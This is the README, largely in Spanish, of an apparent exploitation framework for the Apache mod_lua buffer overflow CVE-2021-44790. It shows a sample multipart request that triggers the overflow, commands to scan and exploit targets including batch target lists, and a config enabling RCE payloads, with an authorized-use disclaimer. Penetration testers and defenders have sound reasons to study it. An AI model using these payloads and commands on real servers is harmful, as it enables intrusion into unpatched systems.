
Apache HTTP Server 2.4.x mod_lua Buffer Overflow (CVE-2021-44790) - Advanced exploitation framework with fingerprinting, multi-stage scanning, plugin architecture, professional reporting, screenshot capture, SQLite database, and 95%+ confidence detection. Author: Sudeepa Wanigarathna.
Apache mod_lua Buffer Overflow Exploitation es una plataforma de explotación avanzada de nivel empresarial para CVE-2021-44790, una vulnerabilidad crítica de desbordamiento de búfer en el módulo mod_lua de Apache HTTP Server 2.4.x. Este framework ofrece capacidades integrales de fingerprinting, descubrimiento inteligente de scripts, escaneo en múltiples etapas y generación profesional de informes con detección con más del 95% de confianza.
La vulnerabilidad existe en el módulo mod_lua al procesar solicitudes multipart/form-data. Un subdesbordamiento de enteros en la función lua_request_parsebody() puede provocar un desbordamiento de búfer basado en montón, lo que potencialmente permite la ejecución remota de código.
POST /process.lua HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=4
4
Content-Disposition: form-data; name="name"
0
4
| Interfaz principal | Resultados de fingerprint |
|---|---|
![]() | ![]() |
# Clone the repository
git clone https://github.com/CerberusMrXi/Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
cd Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
# Install dependencies
pip install -r requirements.txt
# Verify installation
python3 exploit.py --version
# Quick vulnerability scan
python3 exploit.py http://target.com
# Verbose scan with exploitation
python3 exploit.py https://target.com --exploit --verbose
# Generate all reports
python3 exploit.py http://target.com --report all
# Research mode with database
python3 exploit.py http://target.com --research
python3 exploit.py [TARGET] [OPTIONS]
python3 exploit.py https://example.com --verbose --report all
python3 exploit.py https://internal-server.com \
--proxy http://proxy.corp.com:8080 \
--threads 10 \
--timeout 15 \
--verbose \
--report all \
--output /var/log/security/
python3 exploit.py https://client.com \
--threads 30 \
--timeout 10 \
--exploit \
--all-payloads \
--report all \
--screenshot \
--research \
--verbose \
--output /pentest/client_name/
python3 exploit.py --batch targets.txt --config config.yaml
# Show all vulnerable targets
python3 exploit.py --query "SELECT * FROM targets WHERE vulnerable=1"
# Get statistics
python3 exploit.py --query "SELECT COUNT(*) as total, SUM(vulnerable) as vulnerable FROM targets"
# ----------------------------------------------------------------------------
# LuaStorm Exploit Framework - Configuration File
# ----------------------------------------------------------------------------
# Scan Settings
threads: 20 # Concurrent threads
timeout: 10 # Request timeout in seconds
retries: 3 # Number of retry attempts
rate_limit: 10 # Requests per second
max_depth: 3 # Directory traversal depth
follow_redirects: true # Follow HTTP redirects
verify_ssl: false # Verify SSL certificates
# Network Settings
proxy: null # Proxy URL
http2: true # Enable HTTP/2 support
user_agent: random # User-Agent (random/specific)
save_packets: false # Save raw network packets
# Analysis Settings
research_mode: true # Enable research database
verbose: false # Verbose output
scan_only: false # Scan without exploitation
exploit: false # Enable exploitation
all_payloads: false # Use all payloads
# Payload Settings
payloads:
detection: true
memory: true
rce: true
dos: false
# Report Settings
report_json: true
report_html: true
report_markdown: true
report_pdf: false
screenshot: false
reports_dir: reports
# Database Settings
database_path: luastorm.db
database_retention: 365
# Directory Settings
logs_dir: logs
screenshots_dir: screenshots
{
"scan_id": "a1b2c3d4",
"target": {
"url": "https://example.com",
"hostname": "example.com",
"port": 443
},
"vulnerable": true,
"risk_level": "Critical",
"scan_duration": 45.23,
"timestamp": "2026-08-04T15:45:23"
}
-- Targets table
CREATE TABLE targets (
id INTEGER PRIMARY KEY,
scan_id TEXT UNIQUE,
url TEXT,
hostname TEXT,
ip TEXT,
port INTEGER,
protocol TEXT,
apache_version TEXT,
lua_version TEXT,
os TEXT,
architecture TEXT,
waf TEXT,
cdn TEXT,
vulnerable INTEGER,
risk_level TEXT,
scan_date TEXT,
duration REAL
);
-- Scripts table
CREATE TABLE scripts (
id INTEGER PRIMARY KEY,
scan_id TEXT,
path TEXT,
method TEXT,
status_code INTEGER,
content_type TEXT,
response_time REAL,
vulnerable INTEGER
);
-- Payloads table
CREATE TABLE payloads (
id INTEGER PRIMARY KEY,
scan_id TEXT,
script_id INTEGER,
payload_name TEXT,
payload_type TEXT,
success INTEGER,
response_time REAL,
indicators TEXT,
error TEXT
);
# plugins/my_plugin.py
class MyPlugin:
plugin_name = "my_plugin"
plugin_version = "1.0"
plugin_author = "Your Name"
def __init__(self, config):
self.config = config
def execute(self, target_info):
"""Execute plugin logic"""
return {
'status': 'success',
'message': 'Plugin executed',
'data': {'target': target_info.url}
}
ESTA HERRAMIENTA SE PROPORCIONA ÚNICAMENTE CON FINES EDUCATIVOS Y DE PRUEBAS AUTORIZADAS.
El uso no autorizado contra sistemas que no posees o para los que no tienes permiso explícito
de prueba es ilegal y poco ético. El autor no asume ninguna responsabilidad por el mal uso,
los daños o las consecuencias legales derivadas del uso de esta herramienta.
Al utilizar esta herramienta, aceptas:
1. Probar únicamente sistemas que poseas o para los que tengas permiso por escrito
2. Cumplir con todas las leyes y regulaciones aplicables
3. Reportar los hallazgos de manera responsable
4. No utilizar esta herramienta con fines maliciosos
¡Las contribuciones son bienvenidas! Sigue estas pautas:
# Clone your fork
git clone https://github.com/CerberusMrXi/Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
cd Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
# Install development dependencies
pip install -r requirements-dev.txt
# Run tests
python -m pytest tests/
Sudeepa Wanigarathna
Solo para fines educativos y de pruebas autorizadas
Este software se proporciona "tal cual", sin garantía de ningún tipo, expresa o implícita.
⭐ ¡Da una estrella a este repositorio para apoyar el proyecto!
💡 ¿Encontraste un error? Abre un issue
📧 Contacto: [email protected]
Construido con ❤️ para la comunidad de seguridad
| Característica | Descripción |
|---|
| 🔍 Fingerprinting avanzado | Detección de versión de Apache, mod_lua, SO, arquitectura, WAF, CDN, contenedor y proveedor de nube |
| 🎯 Descubrimiento inteligente | Más de 7 técnicas de descubrimiento, incluyendo robots.txt, sitemap, análisis de HTML y extracción de JavaScript |
| 💥 Escaneo en múltiples etapas | Conexión → Fingerprint → Descubrimiento → Verificación → Explotación → Informes |
| 🧩 Sistema de plugins extensible | Desarrollo sencillo de plugins para futuros CVEs |
| 🌐 Motor HTTP inteligente | Agrupación de conexiones, reintentos, soporte HTTP/2 y limitación de velocidad |
| 📊 Informes completos | JSON, HTML, Markdown y PDF con paneles interactivos |
| 🎨 Interfaz de terminal atractiva | Biblioteca Rich con barras de progreso, tablas y salida codificada por colores |
| 💾 Base de datos de investigación | Almacenamiento SQLite con historial completo de escaneos y soporte de consultas |
| 📸 Captura de pantallas | Capturas de pantalla automáticas de páginas web para la recopilación de evidencias |
| 🚀 Alto rendimiento | Más de 20 hilos concurrentes, más de 100 pools de conexiones |
| Atributo | Valor |
|---|
| ID de CVE | CVE-2021-44790 |
| Vulnerabilidad | Desbordamiento de búfer (subdesbordamiento de enteros) |
| Software afectado | Apache HTTP Server 2.4.0 hasta 2.4.51 |
| Versión corregida | Apache HTTP Server 2.4.52 y posteriores |
| Componente | Módulo mod_lua |
| Vector de ataque | Red (remoto) |
| Puntuación CVSS | 9.8 (Crítico) |
| Impacto de confidencialidad | Alto |
| Impacto de integridad | Alto |
| Impacto de disponibilidad | Alto |
| Madurez del exploit | Prueba de concepto disponible |
| Progreso del escaneo | Panel del informe HTML |
|---|
![]() | ![]() |
| Opción | Descripción | Ejemplo |
|---|
TARGET | URL de destino | http://target.com |
--config FILE | Archivo de configuración | --config config.yaml |
--threads N | Número de hilos | --threads 30 |
--timeout N | Tiempo de espera de la solicitud (segundos) | --timeout 15 |
--proxy URL | URL del proxy | --proxy http://127.0.0.1:8080 |
--verbose | Salida verbosa | --verbose |
--scan-only | Escaneo sin explotación | --scan-only |
--exploit | Habilitar explotación | --exploit |
--all-payloads | Usar todos los payloads | --all-payloads |
--report FORMAT | Formato de informe (json/html/markdown/all) | --report all |
--output DIR | Directorio de salida | --output /path/to/reports/ |
--research | Habilitar modo de investigación | --research |
--database FILE | Ruta de la base de datos | --database luastorm.db |
--screenshot | Tomar capturas de pantalla | --screenshot |
--batch FILE | Archivo por lotes con objetivos | --batch targets.txt |
--query SQL | Ejecutar consulta a la base de datos | --query "SELECT * FROM targets" |
| Característica | Rendimiento |
|---|
| Fingerprinting | < 2 segundos |
| Descubrimiento de scripts | 5-10 segundos |
| Pruebas de payloads | 1-5 segundos por payload |
| Generación de informes | < 1 segundo |
| Operaciones de base de datos | < 100ms |
| Hilos concurrentes | 20+ |
| Pool de conexiones | 100+ |